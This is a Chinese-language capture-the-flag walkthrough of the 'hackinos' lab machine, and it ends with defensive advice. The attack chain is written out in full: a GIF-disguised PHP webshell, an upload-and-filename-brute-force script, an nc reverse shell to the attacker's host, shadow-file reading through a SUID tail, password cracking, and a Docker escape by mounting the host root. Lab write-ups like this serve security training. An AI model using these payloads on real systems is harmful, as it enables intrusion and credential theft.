hackinos 渗透测试实战
Note
攻击环境:Kali Linux
靶机网段:192.168.0.0/24(实际 IP 可能因环境变化而不同,请在实验前重新扫描确认)
1. 网络发现与主机扫描
使用多种工具进行局域网主机发现,交叉验证结果。
netdiscover -r 192.168.0.0/24nmap -sn 192.168.100.0/24nmap -sP 192.168.100.*arp-scan -l
2. 端口扫描与服务识别
对发现的目标主机进行深度扫描,识别开放端口、服务版本及操作系统。
nmap -A -sV -T4 10.10.100.190| 参数 | 说明 |
|---|---|
-A | 启用操作系统检测、版本检测、脚本扫描和 traceroute |
-sV | 探测开放端口的服务版本 |
-T4 | 加快扫描速度(自适应 timing template) |

Tip
扫描发现目标开启了 8000 端口,重点对该端口进行 Web 应用测试。
3. 信息收集
3.1 探测 robots.txt
访问 http://<目标 IP>:8000/robots.txt,发现存在 /upload 路径提示。

3.2 源码泄露分析
访问上传页面源码,在 HTML 注释中发现 hint 信息,提示关注文件上传逻辑。

Warning
实战环境中源码泄露不会如此明显,本靶场仅为教学演示。
访问 /upload.php 源码,核心逻辑如下:
- 仅校验 MIME 类型是否为
image/png或image/gif - 未对文件内容进行深度校验
- 上传文件名经过 MD5 哈希处理后存储
4. 文件上传漏洞利用
4.1 构造绕过 Payload
利用 GIF 文件头 GIF89a 绕过 MIME 类型检测,植入 PHP 一句话木马。
GIF89a<?php eval($_GET["key"]);?>Note
选择 GIF 格式是因为其文件头 GIF89a 为 ASCII 编码,可直接拼接 PHP 代码,无需额外编码。

4.2 文件名规律破解
上传后文件名被哈希处理,通过逆向哈希规律确定访问路径。
import requestsimport hashliburl = "http://192.168.0.252:8000/uploads/"name = "a.php"for i in range(101): a = url + hashlib.md5(name + str(i)).hexdigest() + ".php" r = requests.get(a) if r.status_code != 404: print(a) break
Warning
靶机定时清理上传文件,爆破和连接 Webshell 需快速操作。
4.3 函数过滤绕过
eval() 被过滤,改用 system() 执行系统命令。
GIF89a<?php system($_GET[1]);?>5. 获取交互 Shell
5.1 Webshell 执行命令
通过 Webshell 执行 whoami 确认当前权限。

5.2 反弹 Shell
Kali 监听端口:
nc -lvnp 1234
触发反弹 Shell(替换 IP 和端口):
?1=nc -e /bin/bash 192.168.0.78 1234
5.3 升级为交互式 Shell
python -c 'import pty; pty.spawn("/bin/bash")'完整的上传、爆破、反弹自动化脚本:
import requestsimport hashlib# 构造 multipart 表单数据data = """-----------------------------28821283289319Content-Disposition: form-data; name="file"; filename="a.php"Content-Type: application/octet-streamGIF89a<?php system($_GET[1]); ?>-----------------------------28821283289319Content-Disposition: form-data; name="submit"Submit-----------------------------28821283289319--"""s_url = "http://192.168.42.252:8000/upload.php"header = { "Host": "192.168.42.252:8000", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "multipart/form-data; boundary=---------------------------28821283289319", "Content-Length": "337", "Connection": "keep-alive", "Referer": "http://192.168.42.252:8000/upload.php", "Upgrade-Insecure-Requests": "1"}# 1. 上传 Webshellr = requests.post(s_url, data=data, headers=header)# 2. 爆破文件名url = "http://192.168.42.252:8000/uploads/"name = "a.php"for i in range(101): a = url + hashlib.md5(name + str(i)).hexdigest() + ".php" r = requests.get(a) if r.status_code != 404: print("Find: " + a) break# 3. 触发反弹 Shellshell_url = a + "?1=nc -e /bin/bash 192.168.42.78 1234"requests.get(shell_url)6. Linux 提权
6.1 理解 /etc/passwd 与 /etc/shadow
| 文件 | 说明 |
|---|---|
/etc/passwd | 用户数据库,包含用户名、UID、GID、家目录、Shell 等信息,所有用户可读 |
/etc/shadow | 影子口令文件,存储加密密码,仅 root 可读,提升安全性 |
passwd 格式:LOGNAME:PASSWORD:UID:GID:USERINFO:HOME:SHELL
shadow 格式:登录名:加密口令:最后一次修改时间:最小时间间隔:最大时间间隔:警告时间:不活动时间:失效时间:标志
6.2 SUID 二进制文件搜索
利用 SUID 位查找可提升权限的可执行文件。
find / -perm -4000 2>/dev/null
Tip
find / -perm -4000 查找所有设置了 SUID 位的文件,2>/dev/null 过滤权限拒绝错误输出。
6.3 利用 tail 读取 shadow
发现 tail 命令具有 SUID 位,可通过 -c 参数读取任意文件。
tail -c 1k /etc/shadow
6.4 密码破解
将提取的 hash 保存到 hash.txt,使用 John the Ripper 破解。
john hash.txt
6.5 切换 root 用户
su root
| 方法 | 适用场景 | 复杂度 |
|---|---|---|
| SUID 逃逸 | 存在可利用的 SUID 二进制文件 | ⭐⭐ |
| Kernel Exploit | 内核存在已知漏洞 | ⭐⭐⭐⭐ |
| Cron 任务 | 定时任务以 root 运行且可写 | ⭐⭐ |
| 容器逃逸 | 运行在容器中 | ⭐⭐⭐ |
7. 内网渗透与 Docker 逃逸
7.1 发现 Docker 环境
ifconfig
提示
当前 IP 为公网 IP,推测系统运行在 Docker 容器中。
7.2 数据库信息收集
查看 WordPress 配置文件 wp-config.php,获取数据库凭据。

连接数据库并查询异常数据表。


7.3 SSH 凭据获取
发现疑似 SSH 密码的 MD5 hash,解密后获得内网服务器登录凭据。

7.4 SSH 登录与容器探索
ssh username@公网 IP

进入目标容器:
docker exec -it <container_id> /bin/bash7.5 Docker 主机逃逸
docker run -it -v /:/root ubuntu /bin/bash
8. 渗透复盘
| 阶段 | 漏洞类型 | 利用方式 |
|---|---|---|
| 信息收集 | robots.txt 泄露 | 路径枚举 |
| 文件上传 | MIME 类型绕过 | GIF 马 |
| Webshell | 函数过滤绕过 | system() 替代 eval() |
| 提权 | SUID 二进制滥用 | tail 读取 shadow |
| 内网 | 数据库泄露凭据 | SSH 横向移动 |
| 逃逸 | Docker 配置不当 | 挂载主机根目录 |
- 文件上传:不仅校验 MIME,还需校验文件头、内容,并限制文件扩展名
- SUID 管理:定期审计 SUID 文件,移除不必要的权限
- Docker 安全:避免以 root 运行容器,限制容器权限,不要挂载敏感目录
- 密码策略:使用强密码,定期更换,启用双因素认证
- 日志监控:建立异常登录和文件访问告警机制